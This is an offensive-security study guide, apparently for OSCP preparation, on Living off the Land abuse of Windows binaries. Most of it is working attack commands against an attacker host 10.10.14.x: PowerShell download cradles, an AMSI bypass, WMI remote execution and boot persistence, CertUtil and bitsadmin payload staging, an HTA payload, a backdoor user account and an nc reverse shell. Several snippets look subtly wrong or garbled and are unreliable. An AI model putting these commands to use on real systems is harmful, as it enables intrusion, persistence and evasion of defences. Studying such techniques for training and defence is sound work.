Domain 3Exploit Dev & AV EvasionCORE

Living off the Land (LotL)

Complete guide to Living off the Land techniques using legitimate Windows binaries like PowerShell, WMI, CertUtil, Mshta, bitsadmin, regsvr32, rundll32, and other LOLBins for AV evasion.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#lotl#powershell#wmi#certutil#mshta#lolbas

Living off the Land (LotL)

What is Living off the Land?

“Living off the Land” (LotL) refers to the practice of using legitimate, pre-installed Windows tools and utilities to perform malicious activities. Instead of dropping custom malware onto a target, attackers leverage trusted binaries that are already present on virtually every Windows system.

Why LotL is Effective for AV Evasion

  • Trusted Binaries: Tools like PowerShell, WMI, CertUtil, and Mshta are signed by Microsoft and expected to run on any Windows machine
  • No Downloads Required: No need to transfer external payloads — the execution infrastructure is already there
  • Expected Behavior: These tools are used by administrators daily, so their execution is often not flagged as suspicious
  • White-Listed: Many EDR/AV solutions whitelist these binaries by default, or at least tolerate their basic operations
  • Reduced Artifact Footprint: No unknown files dropped to disk means fewer forensic indicators

The term LOLBin (Living Off the Land Binary) was coined to describe these legitimate executables that can be abused. The definitive resource is LOLBAS — a comprehensive, community-maintained repository documenting every known abuse technique for each LOLBin. Bookmark it for exam reference.


PowerShell Execution

PowerShell is the single most important LotL tool on the OSCP exam. It is installed by default on all modern Windows systems and provides a full scripting environment with native access to .NET, WMI, COM objects, and the file system.

PowerShell Bypass Flags (Critical for OSCP)

These flags are almost always chained together in a one-liner:

Flag Full Form Purpose
-nop -NoProfile Skips loading the PowerShell profile, reducing noise and startup time
-ep bypass -ExecutionPolicy Bypass Bypasses the execution policy that blocks script execution
-enc -EncodedCommand Executes a Base64-encoded command string (evades simple string-based detection)
-exec bypass -ExecutionPolicy Bypass Alternative shorthand for execution policy bypass
-w hidden -WindowStyle Hidden Runs PowerShell without opening a visible console window

Download Cradle (The Most Common OSCP Technique)

The PowerShell download cradle fetches a payload from a web server and executes it directly in memory — no file touched to disk:

# Classic download cradle
powershell -nop -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.x/Invoke-PowerShellTcpOne_reverse.ps1')"

# Alternative using Invoke-WebRequest alias (iwrm / iwr)
powershell -nop -ep bypass -c "IEX (iwr 'http://10.10.14.x/payload.ps1' -UseBasicParsing)"

# Using .NET WebClient directly
powershell -nop -ep bypass -c "[System.Net.WebClient]::DownloadString('http://10.10.14.x/shell.ps1') | IEX"

Encoded Command Execution

Base64-encoding a PowerShell command helps evade simple string-based AV signatures:

# Step 1: Encode your command
# On Kali/Linux:
echo -n "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.x/shell.ps1')" | iconv -t UTF-16LE | base64 -w0

# Step 2: Execute with -enc flag
powershell -nop -ep bypass -enc <base64_string>

Constrained Language Mode Bypass

Windows Defender Application Control (WDAC) and some hardening profiles enforce Constrained Language Mode, which restricts PowerShell’s ability to load arbitrary .NET types and call native code. Key bypass approaches:

# Check if in constrained mode
$ExecutionContext.SessionState.LanguageMode

# Bypass via AMSI (AMSI Patching) — works on PowerShell 5.1
# Method 1: Patch the amsiScanBuffer function
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Method 2: Overwrite the first bytes of amsiScanBuffer with NOPs
$w = [Ref].Assembly.Types | ? {$_.Name -match 'RuntimeHelpers'}
$w::PrepareMethod([Convert]::GetHashCode.Method)

Note: AMSI patching is a critical technique. On the OSCP, you may need to patch AMSI before your PowerShell payload is flagged by Defender.


WMI (Windows Management Instrumentation)

WMI is a native Windows administration framework that can be abused for remote code execution, file operations, and persistence — all without dropping files.

Remote Code Execution via Win32_Process

# Execute a command on a remote machine
Invoke-WmiMethod -ClassName Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami" -ComputerName TARGET

# Local execution
[wmi] '' | Invoke-WmiMethod -Name Create -ArgumentList 'cmd.exe /c powershell -nop -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('"'"'http://10.10.14.x/shell.ps1'"'"')"'

# Via WMI object directly
$proc = [WMICLASS]"Win32_Process"
$proc.Create("cmd.exe /c calc.exe")

WMI Event Subscriptions for Persistence

WMI event subscriptions can execute code when specific system events occur — a powerful persistence mechanism:

# Create a persistent event subscription that runs on system boot
# Step 1: Create the command to execute
$cmd = 'powershell -nop -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('"'"'http://10.10.14.x/persist.ps1'"'"')"'

# Step 2: Create the event filter (triggers on system boot)
Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
    Name = "SystemBootFilter"
    EventNameSpace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer'"
}

# Step 3: Create the command consumer
Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
    Name = "BootConsumer"
    CommandLineTemplate = $cmd
}

# Step 4: Bind the filter to the consumer
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
    Filter = "\\.\root\subscription:__EventFilter.Name='SystemBootFilter'"
    Consumer = "\\.\root\subscription:CommandLineEventConsumer.Name='BootConsumer'"
}

CertUtil

CertUtil is a built-in certificate management tool that has been extensively abused for file download, encoding, and hash verification.

Download Files

# Download a file from a URL
certutil -urlcache -split -f http://10.10.14.x/payload.exe payload.exe

# The file is cached in the URLCache, then can be copied
certutil -urlcache -split -f http://10.10.14.x/payload.exe
copy "%ALLUSERSPROFILE%\Microsoft\Windows\WebCache\cache.index" payload.exe

Base64 Encode/Decode

# Encode a file to Base64
certutil -encode payload.exe payload.b64

# Decode a Base64 file back to binary
certutil -decode payload.b64 payload.exe

# Inline Base64 decode (Windows 10+)
certutil -decodehex -f payload.b64 payload.exe

Hash Verification

# Calculate file hash (useful for verifying downloaded payloads)
certutil -hashfile payload.exe SHA256
certutil -hashfile payload.exe MD5

Mshta (Microsoft HTML Application Host)

Mshta.exe executes HTML Application (.hta) files, which are essentially web pages with full system access. It can execute JavaScript and VBScript inline.

Execute JavaScript/VBScript Inline

# Execute inline JavaScript
mshta "javascript:CodeBlock(new ActiveXObject('WScript.Shell').Run('calc.exe'))"

# Execute inline VBScript
mshta "vbscript:Close(ExecuteNumber(CreateObject("WScript.Shell").Run("calc.exe",0,true)))"

# Download and execute an HTA file
mshta http://10.10.14.x/shell.hta

HTA Payload Template

A minimal HTA file that downloads and executes a payload:

<html>
<head>
<script language="javascript">
var r = new ActiveXObject("WScript.Shell").Run("powershell -nop -ep bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.x/shell.ps1')\"", 0, false);
</script>
</head>
<body></body>
</html>

Other Essential LOLBins

Bitsadmin

Background Intelligent Transfer Service admin tool — used for asynchronous file downloads:

# Create a download job
bitsadmin /transfer "MyJob" /download /priority normal http://10.10.14.x/payload.exe C:\Users\Public\payload.exe

# Complete the job
bitsadmin /resume "MyJob"

Regsvr32

Originally for registering DLLs, but can be abused for DLL sideloading and SCT-based code execution:

# DLL sideloading — register a DLL
regsvr32 /s /n /u /i:http://10.10.14.x/file.sct scrobj.dll

# The SCT file contains a scriptlet that executes arbitrary code
# Example SCT content:
# <?XML version="1.0"?>
# <scriptlet>
# <registration
#    description="Bandit"
#    version="1.00"
#    progid="Bandit"
#    classid="{10000000-0000-0000-0000-0000DEADBEEF}" >
#    <script language="JScript">
#    <![CDATA[
#       var r = new ActiveXObject("WScript.Shell").Run("calc.exe",0,false);
#    ]]>
#    </script>
# </registration>
# </scriptlet>

Rundll32

Executes functions within DLL files — can load and execute arbitrary DLL code:

# Execute a function in a DLL
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();new%20ActiveXObject("WScript.Shell").Run("calc.exe",0,false)

# Load a custom DLL
rundll32.exe C:\path\to\malicious.dll,EntryPoint

WMIC

Windows Management Instrumentation Command-line — a command-line interface to WMI:

# Execute a process
wmic process call create "cmd.exe /c whoami"

# Process listing
wmic process list brief

# Remote execution
wmic /node:TARGET /user:ADMIN /password:PASS process call create "cmd.exe /c calc.exe"

Esentutl

Extensible Storage Engine utility — can copy files without traditional file operations:

# Copy a file using esentutl
esentutl /y C:\path\to\source.exe /d C:\path\to\dest.exe /o /r logprefix

Expand

Built-in file expansion utility — can extract and move files:

expand C:\source\payload.exe C:\dest\payload.exe

Forfiles

File selection utility — can execute commands on files:

forfiles /p C:\Windows\System32 /m notepad.exe /c "cmd.exe /c powershell -nop -ep bypass -c calc.exe"

Makecab

Cabinet file creation utility — can be used to extract and execute payloads:

makecab payload.exe payload.cab

Msiexec

Windows Installer — can execute MSI packages that contain embedded scripts:

msiexec /q /i http://10.10.14.x/malicious.msi

Odbcconf

ODBC Configuration tool — can load and execute DLLs:

odbcconf /s /a {regsvr "C:\path\to\malicious.dll"}

Verclsid

Version CLSID utility — can execute SCT scripts via regsvr32:

verclsid /sic /c {CLSID}

Detection and Evasion Considerations

How Defenders Detect LotL Abuse

  1. Command-line argument monitoring: AV/EDR solutions log and analyze command-line arguments for suspicious patterns (e.g., -enc, -nop, Base64 strings)
  2. Sysmon Event ID 1: Process creation events capture parent-child relationships and full command lines
  3. AMSI (Antimalware Scan Interface): Scans PowerShell scripts, VBScript, JScript, and regex patterns in real-time
  4. Script Block Logging (Event ID 4104): Logs every PowerShell script block executed
  5. Behavioral analysis: Unusual parent-child process trees (e.g., excel.exe spawning powershell.exe)

Evasion Techniques

  • AMS Bypass: Patch the amsiScanBuffer function before executing malicious scripts
  • Encoded commands: Use -enc with Base64 to obscure command-line arguments
  • Reflection-based loading: Load assemblies in memory without touching disk
  • Split execution: Break commands into multiple stages to avoid pattern matching
  • Legitimate-looking arguments: Use arguments that resemble normal administrative tasks

Practical OSCP Scenarios

Scenario 1: Initial Shell via PowerShell Download Cradle

# From your Kali listener:
# ruby -rsocket -e 'f=TCPServer.open(443);c=f.accept;exec "bash -i <&#{c.fileno} >&#{c.fileno} 2>&#{c.fileno}"'

# On the target:
powershell -nop -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.x/Invoke-PowerShellTcpOne_reverse.ps1')"

Scenario 2: Lateral Movement via WMI

# Execute command on a remote host using WMI
Invoke-WmiMethod -ClassName Win32_Process -Name Create -ArgumentList "cmd.exe /c net user hacker P@ssw0rd! /add" -ComputerName 10.10.10.50

# Then use WMI to execute a reverse shell on the remote host
Invoke-WmiMethod -ClassName Win32_Process -Name Create -ArgumentList "cmd.exe /c powershell -nop -ep bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.x/shell.ps1')\"" -ComputerName 10.10.10.50

Scenario 3: File Staging with CertUtil

# Download a binary payload when PowerShell is blocked
certutil -urlcache -split -f http://10.10.14.x/nc64.exe %TEMP%\update.exe

# Execute the downloaded file
%TEMP%\update.exe 10.10.14.x 9001 -e cmd.exe

Scenario 4: AMSI Bypass Before Payload Execution

# Patch AMSI to prevent detection of subsequent commands
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Now execute your payload without AMSI interference
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.x/Invoke-PowerShellTcpOne_reverse.ps1')

Key Takeaways for the OSCP Exam

  1. PowerShell is your primary LotL weapon — master the download cradle, encoded commands, and AMSI bypass
  2. LOLBAS is your reference — know which binaries do what, but you don’t need to memorize every technique
  3. Always chain bypass flags — -nop -ep bypass should be muscle memory
  4. WMI for lateral movement — when psexec is blocked, WMI is your fallback
  5. CertUtil for file staging — when you need to download a binary and PowerShell is restricted
  6. Mshta for script execution — when PowerShell is blocked but HTA execution is allowed
  7. Think like an admin — the best LotL techniques look like normal administrative activity